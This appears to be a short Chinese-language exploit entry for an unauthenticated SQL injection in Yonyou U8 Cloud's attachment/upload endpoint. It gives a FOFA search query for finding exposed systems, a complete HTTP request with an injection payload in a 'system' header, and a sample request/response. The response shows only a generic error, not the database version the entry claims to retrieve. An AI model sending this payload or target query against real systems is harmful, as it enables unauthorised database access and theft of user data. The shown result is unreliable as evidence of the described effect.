

Y3-33用友-U8-Cloud-SQL

漏洞描述:

用友U8 Cloud attachment/upload 接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

网站图片:



请下载新版UClient
开启U8 cloud云端之旅

立即下载

网络测绘:

fofa语法:

body="/u8sl/Login.aspx" || body="/api/ucient/public/"

漏洞复现:

payload:

```
GET /u8cloud/api/hr/attachment/upload?mssql_error HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
system: -1' or 1=@@version--+
```

效果图:

查询数据库版本

Request

1 GET /u8cloud/api/hr/attachment/upload?mssql_error HTTP/1.1

2 Host: 8099

3 User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36

4 Accept-Charset: utf-8

5 Accept-Encoding: gzip, deflate

6 Connection: close

7 system: -1' or 1=@@version--+

Responses 398bytes / 3

1 HTTP/1.1 200 OK

2 Server: Apache

3 Set-Cookie: JS

4 Content-Type: text/html

5 Date: Tue, 16 Feb 2022 10:20:00 GMT

6 Connection: close

7 Content-Length: 398

8 {

9 "status": "failed"

10 "errorMsg": "系统繁忙，请稍后再试。"

11 "errorMsg": "系统繁忙，请稍后再试。"

12 "errorMsg": "系统繁忙，请稍后再试。"

13 "taskNumber": 1

14 }